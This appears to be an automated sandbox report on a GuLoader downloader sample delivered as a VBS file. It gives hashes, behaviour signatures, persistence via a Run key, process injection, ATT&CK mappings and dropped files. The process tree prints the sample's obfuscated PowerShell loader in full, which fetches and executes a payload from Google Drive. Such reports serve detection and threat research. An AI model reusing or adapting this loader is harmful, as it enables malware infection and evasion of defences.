guloader | f82794d2852d690d6df6ba682cb8325c8276ab88f2ab0327cba601a63c443b60

Analysis

max time kernel
152s
max time network
159s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
17/04/2024, 02:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f82794d2852d690d6df6ba682cb8325c8276ab88f2ab0327cba601a63c443b60.vbs
Size 278KB
Sample240417-cwsd4abc74
SHA256 f82794d2852d690d6df6ba682cb8325c8276ab88f2ab0327cba601a63c443b60
MD5 c56fc932b6d7aa5a97f5939187cb3878
SHA1 09781da30e8b2695131fabc3bb55563a4ceb0505
SHA512 d3053f739e8beb4f337336b2238a6dd6fc81c1dc0418ebfd3217689a82d07972df327a44377e1958deb10ec31be4a4438026bae15bf08c046cf10d16ec47cb4a
SSDEEP 6144:LIdAYDLBLW+8A1ytW3xrbjsSFuHeEC57kdmXl45zaoGGqAP3MQ9scOAx8fz2agF5:EnS2ImcAx+/aM
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\User\S-1-5-21-776854024-226333264-2052258302-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	finger.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-776854024-226333264-2052258302-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\KDLX- = "C:\\Program Files (x86)\\windows mail\\wab.exe"	finger.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	1644	WScript.exe
24	3536	powershell.exe
26	3536	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-776854024-226333264-2052258302-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
42	drive.google.com
23	drive.google.com
24	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1576	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2432	powershell.exe
1576	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2432 set thread context of 1576	2432	powershell.exe	97
PID 1576 set thread context of 3472	1576	wab.exe	55
PID 1576 set thread context of 2300	1576	wab.exe	98
PID 2300 set thread context of 3472	2300	finger.exe	55

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\User\S-1-5-21-776854024-226333264-2052258302-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	finger.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
3536	powershell.exe
3536	powershell.exe
2432	powershell.exe
2432	powershell.exe
2432	powershell.exe
1576	wab.exe
1576	wab.exe
1576	wab.exe
1576	wab.exe
1576	wab.exe
1576	wab.exe
1576	wab.exe
1576	wab.exe
1576	wab.exe
1576	wab.exe
1576	wab.exe
1576	wab.exe
1576	wab.exe
1576	wab.exe
1576	wab.exe
1576	wab.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe

Suspicious behavior: MapViewOfSection 8 IoCs

pid	Process
2432	powershell.exe
1576	wab.exe
3472	Explorer.EXE
3472	Explorer.EXE
2300	finger.exe
2300	finger.exe
2300	finger.exe
2300	finger.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3536	powershell.exe
Token: SeDebugPrivilege	2432	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 1644 wrote to memory of 3536	1644	WScript.exe	89
PID 1644 wrote to memory of 3536	1644	WScript.exe	89
PID 3536 wrote to memory of 2740	3536	powershell.exe	91
PID 3536 wrote to memory of 2740	3536	powershell.exe	91
PID 3536 wrote to memory of 2432	3536	powershell.exe	93
PID 3536 wrote to memory of 2432	3536	powershell.exe	93
PID 3536 wrote to memory of 2432	3536	powershell.exe	93
PID 2432 wrote to memory of 2712	2432	powershell.exe	94
PID 2432 wrote to memory of 2712	2432	powershell.exe	94
PID 2432 wrote to memory of 2712	2432	powershell.exe	94
PID 2432 wrote to memory of 1576	2432	powershell.exe	97
PID 2432 wrote to memory of 1576	2432	powershell.exe	97
PID 2432 wrote to memory of 1576	2432	powershell.exe	97
PID 2432 wrote to memory of 1576	2432	powershell.exe	97
PID 2432 wrote to memory of 1576	2432	powershell.exe	97
PID 3472 wrote to memory of 2300	3472	Explorer.EXE	98
PID 3472 wrote to memory of 2300	3472	Explorer.EXE	98
PID 3472 wrote to memory of 2300	3472	Explorer.EXE	98
PID 2300 wrote to memory of 3944	2300	finger.exe	99
PID 2300 wrote to memory of 3944	2300	finger.exe	99
PID 2300 wrote to memory of 3944	2300	finger.exe	99

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3472
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f82794d2852d690d6df6ba682cb8325c8276ab88f2ab0327cba601a63c443b60.vbs"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Naglende = 1;$Responsibilities='Substrin';$Responsibilities+='g';Function Deltagelsens($Pupilar){$Sagitarii=$Pupilar.Length-$Naglende;For($Lowse=5; $Lowse -lt $Sagitarii; $Lowse+=(6)){$modstandsbevgelsernes+=$Pupilar.$Responsibilities.Invoke($Lowse, $Naglende);}$modstandsbevgelsernes;}function Rabbler($Erindringslisterne){. ($Vgts) ($Erindringslisterne);}$Epiphytotic=Deltagelsens 'ketsjMAbigaoRu lezNe dliKom.llDeal l ornfa harf/Ugene5 Optr.choic0Eloin Myc,( UntrW P.ali H.rlnTransd Sau o olitwBoligsUnstu PhytoNDa.tsTkofil pe ic1 Stip0 vera.Maski0velse; Lari baggrW IndriSlaugnKatha6K ing4Sp rl; mask Setnmx.yseb6Razo,4 Sera;Louis Mod.arPre bvmicro:lore.1O,tim2Prohi1Along. Be,k0 Fork)Baa s MyliuGFrsteeUdstocCorrikPanu oUomgn/Torve2Prope0Udf.y1Total0Konto0 Waug1 Soel0Nedsa1Motmo ,istF MashiD sinrAristehygrof uatoStylix Nona/Hunds1Dekli2 leg.1Flles.Soe,v0Me,ni ';$Ironiens157=Deltagelsens 'PeterU fkodsFrek.eKlienrEntab- T ggALigesg Slrie Aeron espitNeuro ';$Cholla34=Deltagelsens 'VocalhSpl,utToysot,acarpGen,rsPas a:Royst/Rebed/ NitrdUdst.rSubcoiTwin vMecopePolar.OffergBla,roSu eroAronsgSyfill OdorePleje.K,kflcRvehaoUanmom E,tv/ TotauHologcUundv? AsbeeVetoexBrom,pFo.too BnderIridetmo.al=NondedTetrao HarvwHematnRaadplSerpioBundfaOphiod Dre & MumbiEncardTvil = Enfo1.usulKFaldbpLoftr- CaluNNutatC CirkqI.raeOB.skrhSolenmSpids0VertiN .cknp Tessw FallRHusbl4Trac XA tualJobb IBer dKFr,dafafhaaVAffrerDr,ft7Fdev,lArsene Graf4 Bl,d5isatalOpslaISt.epLinterm K.rnP B,um ';$Forsyndendes=Deltagelsens 'Enant>P ant ';$Vgts=Deltagelsens 'Convii utoceSkrivxVorte ';$graminivore = Deltagelsens 'KlodseResulc DowehKainso Undi .ress%RveriaReviepM,ttapFirbedRepelaGarottNoticaVan,e% o.er\ ForkG FlooaMy.ladBenineTelemaOpp.rkEelietGriqui .ammo U,penMen.ieDeityrDrong9Unadj6 Semi.KlokkNOpt mo ParanUdren Fanat&Nulr.&Dslen IldsleYonnacInksthantiko L.tc Demok$com,u ';Rabbler (Deltagelsens 'f vel$DobligElegilSpin.o LutibDineraSkrmtlTromp:MongoEUbetvlRok,keMa,romForsoe SkidnmuskutIglupnBaptiaMarblvpictun,aetbeFalbet.aioi= Fase( UngucH,perm Sk.ddTotte P.eac/Per.ocBl ms uncro$PulisgFjerdrPochaa Konfm DrmtiProlinHag.eiVejenvsmalhoAbasir IndkeGrund),harp ');Rabbler (Deltagelsens 'Bapti$WoodbgVandrlCrusaoClansb,elpraLeiotl rteh: BomnFspri oRv,denM.krodRadioaAfklinS oletA.pro=Emun.$v,pstCRligehUntrioslumslfractlappe a Memo3unl q4 .xam.Rar rsBehagp P,eclRaastiStnort Path(Ble.e$ CounFRkkevo agbr Se isBibelyover.nGibbedH,pereBristnFebridSpa.tebru esBang.)Harmo ');$Cholla34=$Fondant[0];Rabbler (Deltagelsens 'Recle$ Jor,gpalaqlRundfoGleowb .eduaPersolcondu:DuikePSedseoS,lvpsQ iettsydsietilf,xS,agti Pis s ommat D.di=Met,pNInhiveRavnewtrave-TwyerOAnglobGregajSk.fteTigercBignotDykke ClasmS.hahiyVicarsSlutat .npreSimilmLykke.Ulti NBlauge.imiotU,fte. HusbWVe atePreinbSexgaCTbrudl,taybi,udioeRest.n U.ortBanke ');Rabbler (Deltagelsens '.ugia$SpaeaPD.epioSor isPatrutKondieIndekx Mi diBrndessk krtEne,n. StamHAcenteIrideaK pirdIsa eeLigelrNvni sKnhje[Water$ KemiILeucarLnm.doKribln Daffi susseF,eecnMonopsSnobb1Unmac5Hippo7 Nonf]Skat,=Vandr$DrougEUdbedpGemuti Outpp undeh Sttty.mitatp,lleo Prvet Fetoimi,roc Galv ');$Kappelystens245=Deltagelsens '.yaniPRhumbo fiacsCardit D ameun.erxLadepiTelessBiblit Defi.TriaxDSpirioDimpswPteronsylv.lgallioUsabla Fo td,uverFArglii WindlFyrine,temm( Comm$F rlaCrighthJenvro M.solDecenlMisp,aTroub3Behag4Fo,la, B zz$FiskeMSpildiRak sdApprotSof,pe,yporrPressm omat)Brndb ';$Kappelystens245=$Elementnavnet[1]+$Kappelystens245;$Midterm=$Elementnavnet[0];Rabbler (Deltagelsens 'Uncry$Thatag RetalGutsioCond,b nfanaHypnol anne: MisaR Niu uPiskenContedBanane Kleml GroviIminogDaaste KrresCarot= Supe(RegioTPiroge DiausSubtrtRadi.-IncomP MetaaCentrt MagnhSkole Pyram$NordvMD.spoipieridMisnat ParoeTegner TorbmCamle).iser ');while (!$Rundeliges) {Rabbler (Deltagelsens ' .utl$BlubbgKjerulG deroGraanb.repua Ra elbit,i: Rea.DTarpaiDokmeaShortlMagneyDjrvezDe oneBefamdlnnin=Skrms$Ret.it yverr alpiuSysteeEjaku ') ;Rabbler $Kappelystens245;Rabbler (Deltagelsens ' .nveSSptmetAra,iaHn egrNotort A za-InjurSTermolTekste Ra.seAccolpForeg Menne4Collo ');Rabbler (Deltagelsens 'Vaa,e$B,falgIcccrlPrintoAffolb MizaaCopaslvkst,:SamboRRed nuU.ensnBeregdFrreseNaturl obwiRepeagFor aeTethesMelle=An ie( bo,tT Overe ContshypertUnbol-EksklPSlab.aMultitS ckehDeoxy Afsva$ verpM brooiTuffid ntetCap,neDrentrErhv,m Bu.l)Genit ') ;Rabbler (Deltagelsens ' kand$MoschgRobotlunvaioSt geb,reuna gluclc rit: Sun.MSvimmaaf,cit Engic .wadhIvorieMaksun umpesBird,9Visig8 Ma.g=Ener $PacifgFilagl ShaloBat,ebStrbea TalblReado:PolycA enstf KuvskImmunrKarsti,nscrs oucht VendnBomuliWhiskn Mum gIndkveA,comrOverv+Arbej+Froko%marge$ProgrFJ.llsoSkr inNdlgnd Kakta MedknUnalutPlace.ShivocGlobaoForstu PlannleavetTo,te ') ;$Cholla34=$Fondant[$Matchens98];}Rabbler (Deltagelsens 'Gasif$ EkvigKonsilCoeduoBall,bSalviaAsphylSemic: CafeO ,olip UndukSmudga StiplTwittd AntinE.tamiAeropnRevangOpvel Lugge=At.on AktiG Konoeweav,tGraec- .ogoCBlu,no Afven arantV,kseeMicronBrnehtLiche poiso$TermlMMicroiStansdHusbatOrme.eMusvarSubnumStvkn ');Rabbler (Deltagelsens ' Sal,$TankegAzurelEpipho AcidbIronsaTastel .hac:IndstsImpe k SmrerDybdea .ranaKolonlFaldeiKollenUnopeiNouveeSkold Buzzs= Efte Clup.[ BonaSFilovyUdvals HomotAnd.leAnoplm Unig.GristCLurifoPennynDecohvHjemfe Filnr rilltUpgiv]Celef:Heter: MalaFVaadorc.rtio inkam heteBMinkfaHumousShereeForku6Karia4,ankeS apact ToilrOverwiTumulnAdmirg Ind (.rodu$ForesOgarn p Serik Fo,raSvm.elClarkdSubsynQuadriC,lcunFernigLispe) Croo ');Rabbler (Deltagelsens 'N dry$Henfig,ilosl BeskoUdbenbBar,eaDidaclSkatt:PretrGRnnenuGreysa DrejcHaid,hJvnbyisvirpp TootiSmilelAcc,iiZirkonEfter Opr,t=,kibs Bere[GrafbSkoopey Sparstell,tHeadleBur,lmLinie..nmagTCo.ile ara xgi,ditDange. StamEViannn F.ydcTranno Sh.ldFeudaiNa honRain.gSucce],esta:Thief: enkeADiaphS SaasCOp.vuI EpigIsmert.JunkiGA,alyeOverbtKoketSSlb.vtBewrar CykeiPerlen ngdgParty( Vagu$ fisksOpinikInenarSucceaBasira Raa.lGyttji V,ronFlyv,i PhoteLycan)Kendi ');Rabbler (Deltagelsens 'Tinab$Nephrg kam.lDeacioPresublovelaFrdatl.ensi:kafspULntrinLe,esdub hagResumaHindqaForhaeski,kn CaladAsse.e Elegsve,ac=Uncon$ PukkGAutoputaffeaTonnicp.eudhkoebeiHexadpKursuiRuderlWooziiFallonF adl.CandisAhuehu,unteb.ayabs LbastEm,ndr.nderiDgnkin uncegMicel(Tvrma2Jacob9An,ps7Fetid7Bewhi0Godke6 Sent,Knips3P,ran0Mutua3Psiaf1 Et,i3Uhygg) kurs ');Rabbler $Undgaaendes;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3536
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Gadeaktioner96.Non && echo $"
      4⤵
      PID:2740
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Naglende = 1;$Responsibilities='Substrin';$Responsibilities+='g';Function Deltagelsens($Pupilar){$Sagitarii=$Pupilar.Length-$Naglende;For($Lowse=5; $Lowse -lt $Sagitarii; $Lowse+=(6)){$modstandsbevgelsernes+=$Pupilar.$Responsibilities.Invoke($Lowse, $Naglende);}$modstandsbevgelsernes;}function Rabbler($Erindringslisterne){. ($Vgts) ($Erindringslisterne);}$Epiphytotic=Deltagelsens 'ketsjMAbigaoRu lezNe dliKom.llDeal l ornfa harf/Ugene5 Optr.choic0Eloin Myc,( UntrW P.ali H.rlnTransd Sau o olitwBoligsUnstu PhytoNDa.tsTkofil pe ic1 Stip0 vera.Maski0velse; Lari baggrW IndriSlaugnKatha6K ing4Sp rl; mask Setnmx.yseb6Razo,4 Sera;Louis Mod.arPre bvmicro:lore.1O,tim2Prohi1Along. Be,k0 Fork)Baa s MyliuGFrsteeUdstocCorrikPanu oUomgn/Torve2Prope0Udf.y1Total0Konto0 Waug1 Soel0Nedsa1Motmo ,istF MashiD sinrAristehygrof uatoStylix Nona/Hunds1Dekli2 leg.1Flles.Soe,v0Me,ni ';$Ironiens157=Deltagelsens 'PeterU fkodsFrek.eKlienrEntab- T ggALigesg Slrie Aeron espitNeuro ';$Cholla34=Deltagelsens 'VocalhSpl,utToysot,acarpGen,rsPas a:Royst/Rebed/ NitrdUdst.rSubcoiTwin vMecopePolar.OffergBla,roSu eroAronsgSyfill OdorePleje.K,kflcRvehaoUanmom E,tv/ TotauHologcUundv? AsbeeVetoexBrom,pFo.too BnderIridetmo.al=NondedTetrao HarvwHematnRaadplSerpioBundfaOphiod Dre & MumbiEncardTvil = Enfo1.usulKFaldbpLoftr- CaluNNutatC CirkqI.raeOB.skrhSolenmSpids0VertiN .cknp Tessw FallRHusbl4Trac XA tualJobb IBer dKFr,dafafhaaVAffrerDr,ft7Fdev,lArsene Graf4 Bl,d5isatalOpslaISt.epLinterm K.rnP B,um ';$Forsyndendes=Deltagelsens 'Enant>P ant ';$Vgts=Deltagelsens 'Convii utoceSkrivxVorte ';$graminivore = Deltagelsens 'KlodseResulc DowehKainso Undi .ress%RveriaReviepM,ttapFirbedRepelaGarottNoticaVan,e% o.er\ ForkG FlooaMy.ladBenineTelemaOpp.rkEelietGriqui .ammo U,penMen.ieDeityrDrong9Unadj6 Semi.KlokkNOpt mo ParanUdren Fanat&Nulr.&Dslen IldsleYonnacInksthantiko L.tc Demok$com,u ';Rabbler (Deltagelsens 'f vel$DobligElegilSpin.o LutibDineraSkrmtlTromp:MongoEUbetvlRok,keMa,romForsoe SkidnmuskutIglupnBaptiaMarblvpictun,aetbeFalbet.aioi= Fase( UngucH,perm Sk.ddTotte P.eac/Per.ocBl ms uncro$PulisgFjerdrPochaa Konfm DrmtiProlinHag.eiVejenvsmalhoAbasir IndkeGrund),harp ');Rabbler (Deltagelsens 'Bapti$WoodbgVandrlCrusaoClansb,elpraLeiotl rteh: BomnFspri oRv,denM.krodRadioaAfklinS oletA.pro=Emun.$v,pstCRligehUntrioslumslfractlappe a Memo3unl q4 .xam.Rar rsBehagp P,eclRaastiStnort Path(Ble.e$ CounFRkkevo agbr Se isBibelyover.nGibbedH,pereBristnFebridSpa.tebru esBang.)Harmo ');$Cholla34=$Fondant[0];Rabbler (Deltagelsens 'Recle$ Jor,gpalaqlRundfoGleowb .eduaPersolcondu:DuikePSedseoS,lvpsQ iettsydsietilf,xS,agti Pis s ommat D.di=Met,pNInhiveRavnewtrave-TwyerOAnglobGregajSk.fteTigercBignotDykke ClasmS.hahiyVicarsSlutat .npreSimilmLykke.Ulti NBlauge.imiotU,fte. HusbWVe atePreinbSexgaCTbrudl,taybi,udioeRest.n U.ortBanke ');Rabbler (Deltagelsens '.ugia$SpaeaPD.epioSor isPatrutKondieIndekx Mi diBrndessk krtEne,n. StamHAcenteIrideaK pirdIsa eeLigelrNvni sKnhje[Water$ KemiILeucarLnm.doKribln Daffi susseF,eecnMonopsSnobb1Unmac5Hippo7 Nonf]Skat,=Vandr$DrougEUdbedpGemuti Outpp undeh Sttty.mitatp,lleo Prvet Fetoimi,roc Galv ');$Kappelystens245=Deltagelsens '.yaniPRhumbo fiacsCardit D ameun.erxLadepiTelessBiblit Defi.TriaxDSpirioDimpswPteronsylv.lgallioUsabla Fo td,uverFArglii WindlFyrine,temm( Comm$F rlaCrighthJenvro M.solDecenlMisp,aTroub3Behag4Fo,la, B zz$FiskeMSpildiRak sdApprotSof,pe,yporrPressm omat)Brndb ';$Kappelystens245=$Elementnavnet[1]+$Kappelystens245;$Midterm=$Elementnavnet[0];Rabbler (Deltagelsens 'Uncry$Thatag RetalGutsioCond,b nfanaHypnol anne: MisaR Niu uPiskenContedBanane Kleml GroviIminogDaaste KrresCarot= Supe(RegioTPiroge DiausSubtrtRadi.-IncomP MetaaCentrt MagnhSkole Pyram$NordvMD.spoipieridMisnat ParoeTegner TorbmCamle).iser ');while (!$Rundeliges) {Rabbler (Deltagelsens ' .utl$BlubbgKjerulG deroGraanb.repua Ra elbit,i: Rea.DTarpaiDokmeaShortlMagneyDjrvezDe oneBefamdlnnin=Skrms$Ret.it yverr alpiuSysteeEjaku ') ;Rabbler $Kappelystens245;Rabbler (Deltagelsens ' .nveSSptmetAra,iaHn egrNotort A za-InjurSTermolTekste Ra.seAccolpForeg Menne4Collo ');Rabbler (Deltagelsens 'Vaa,e$B,falgIcccrlPrintoAffolb MizaaCopaslvkst,:SamboRRed nuU.ensnBeregdFrreseNaturl obwiRepeagFor aeTethesMelle=An ie( bo,tT Overe ContshypertUnbol-EksklPSlab.aMultitS ckehDeoxy Afsva$ verpM brooiTuffid ntetCap,neDrentrErhv,m Bu.l)Genit ') ;Rabbler (Deltagelsens ' kand$MoschgRobotlunvaioSt geb,reuna gluclc rit: Sun.MSvimmaaf,cit Engic .wadhIvorieMaksun umpesBird,9Visig8 Ma.g=Ener $PacifgFilagl ShaloBat,ebStrbea TalblReado:PolycA enstf KuvskImmunrKarsti,nscrs oucht VendnBomuliWhiskn Mum gIndkveA,comrOverv+Arbej+Froko%marge$ProgrFJ.llsoSkr inNdlgnd Kakta MedknUnalutPlace.ShivocGlobaoForstu PlannleavetTo,te ') ;$Cholla34=$Fondant[$Matchens98];}Rabbler (Deltagelsens 'Gasif$ EkvigKonsilCoeduoBall,bSalviaAsphylSemic: CafeO ,olip UndukSmudga StiplTwittd AntinE.tamiAeropnRevangOpvel Lugge=At.on AktiG Konoeweav,tGraec- .ogoCBlu,no Afven arantV,kseeMicronBrnehtLiche poiso$TermlMMicroiStansdHusbatOrme.eMusvarSubnumStvkn ');Rabbler (Deltagelsens ' Sal,$TankegAzurelEpipho AcidbIronsaTastel .hac:IndstsImpe k SmrerDybdea .ranaKolonlFaldeiKollenUnopeiNouveeSkold Buzzs= Efte Clup.[ BonaSFilovyUdvals HomotAnd.leAnoplm Unig.GristCLurifoPennynDecohvHjemfe Filnr rilltUpgiv]Celef:Heter: MalaFVaadorc.rtio inkam heteBMinkfaHumousShereeForku6Karia4,ankeS apact ToilrOverwiTumulnAdmirg Ind (.rodu$ForesOgarn p Serik Fo,raSvm.elClarkdSubsynQuadriC,lcunFernigLispe) Croo ');Rabbler (Deltagelsens 'N dry$Henfig,ilosl BeskoUdbenbBar,eaDidaclSkatt:PretrGRnnenuGreysa DrejcHaid,hJvnbyisvirpp TootiSmilelAcc,iiZirkonEfter Opr,t=,kibs Bere[GrafbSkoopey Sparstell,tHeadleBur,lmLinie..nmagTCo.ile ara xgi,ditDange. StamEViannn F.ydcTranno Sh.ldFeudaiNa honRain.gSucce],esta:Thief: enkeADiaphS SaasCOp.vuI EpigIsmert.JunkiGA,alyeOverbtKoketSSlb.vtBewrar CykeiPerlen ngdgParty( Vagu$ fisksOpinikInenarSucceaBasira Raa.lGyttji V,ronFlyv,i PhoteLycan)Kendi ');Rabbler (Deltagelsens 'Tinab$Nephrg kam.lDeacioPresublovelaFrdatl.ensi:kafspULntrinLe,esdub hagResumaHindqaForhaeski,kn CaladAsse.e Elegsve,ac=Uncon$ PukkGAutoputaffeaTonnicp.eudhkoebeiHexadpKursuiRuderlWooziiFallonF adl.CandisAhuehu,unteb.ayabs LbastEm,ndr.nderiDgnkin uncegMicel(Tvrma2Jacob9An,ps7Fetid7Bewhi0Godke6 Sent,Knips3P,ran0Mutua3Psiaf1 Et,i3Uhygg) kurs ');Rabbler $Undgaaendes;"
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2432
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Gadeaktioner96.Non && echo $"
        5⤵
        
        PID:2712
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        5⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1576
- C:\Windows\SysWOW64\finger.exe
  "C:\Windows\SysWOW64\finger.exe"
  2⤵
  - Adds policy Run key to start application
  - Suspicious use of SetThreadContext
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Program Files\Mozilla Firefox\Firefox.exe
    "C:\Program Files\Mozilla Firefox\Firefox.exe"
    3⤵
    PID:3944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_tasvikqh.kff.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tasvikqh.kff.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Gadeaktioner96.Non

Path C:\Users\Admin\AppData\Roaming\Gadeaktioner96.Non
Size 427KB
SHA256 be67e043510ad8189bbbc8acadc480ac708fefaf81fbda897de532d412326cd5
MD5 5e9ae3e58402dab42436489285aae36f
SHA1 95408d31e1ceac12684f113d5f88ccd3c367c4dc
SHA512 f38f161f45a818ba966070ca3defca37cb4fb1776586b8fa617ab167b1317431ea7f93e708faba28f33cb478c06c40554757a6c61dffa883d02ace927453eeb1
SSDEEP 6144:wJVxI5WGkh8vlQhFCCYM8qHLRXz4+i8NOIRs3mWb+WrfmmfChWdNxv942cEb3H/l:wJVxeWGkh8q5zDNO4VWrfRa2T1Xbvl
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1576-87-0x000000001FBC0000-0x000000001FBE3000-memory.dmp

Download

memory/1576-86-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/1576-57-0x0000000077BA1000-0x0000000077CC1000-memory.dmp

Download

memory/1576-58-0x0000000077C28000-0x0000000077C29000-memory.dmp

Download

memory/1576-93-0x000000001FBC0000-0x000000001FBE3000-memory.dmp

Download

memory/1576-72-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/1576-92-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/1576-73-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/1576-75-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/1576-83-0x00000000010E0000-0x000000000419A000-memory.dmp

Download

memory/1576-76-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/1576-55-0x00000000010E0000-0x000000000419A000-memory.dmp

Download

memory/1576-89-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/1576-82-0x0000000000400000-0x00000000005E4000-memory.dmp

Download

memory/1576-81-0x0000000020050000-0x000000002039A000-memory.dmp

Download

memory/2300-99-0x0000000001100000-0x0000000001140000-memory.dmp

Download

memory/2300-90-0x0000000001100000-0x0000000001140000-memory.dmp

Download

memory/2300-91-0x0000000001100000-0x0000000001140000-memory.dmp

Download

memory/2300-94-0x0000000001940000-0x0000000001C8A000-memory.dmp

Download

memory/2300-95-0x0000000001100000-0x0000000001140000-memory.dmp

Download

memory/2300-106-0x0000000001700000-0x00000000017A2000-memory.dmp

Download

memory/2300-96-0x0000000001700000-0x00000000017A2000-memory.dmp

Download

memory/2432-37-0x00000000048C0000-0x00000000048D0000-memory.dmp

Download

memory/2432-77-0x00000000086F0000-0x000000000B7AA000-memory.dmp

Download

memory/2432-17-0x0000000075180000-0x0000000075930000-memory.dmp

Download

memory/2432-48-0x0000000007210000-0x0000000007211000-memory.dmp

Download

memory/2432-49-0x00000000086F0000-0x000000000B7AA000-memory.dmp

Download

memory/2432-50-0x0000000075180000-0x0000000075930000-memory.dmp

Download

memory/2432-51-0x00000000086F0000-0x000000000B7AA000-memory.dmp

Download

memory/2432-53-0x0000000077BA1000-0x0000000077CC1000-memory.dmp

Download

memory/2432-54-0x00000000048C0000-0x00000000048D0000-memory.dmp

Download

memory/2432-19-0x00000000048C0000-0x00000000048D0000-memory.dmp

Download

memory/2432-56-0x00000000048C0000-0x00000000048D0000-memory.dmp

Download

memory/2432-18-0x0000000002380000-0x00000000023B6000-memory.dmp

Download

memory/2432-42-0x0000000008140000-0x00000000086E4000-memory.dmp

Download

memory/2432-59-0x00000000086F0000-0x000000000B7AA000-memory.dmp

Download

memory/2432-41-0x0000000006F20000-0x0000000006F42000-memory.dmp

Download

memory/2432-40-0x0000000006F90000-0x0000000007026000-memory.dmp

Download

memory/2432-74-0x0000000075180000-0x0000000075930000-memory.dmp

Download

memory/2432-39-0x0000000006280000-0x000000000629A000-memory.dmp

Download

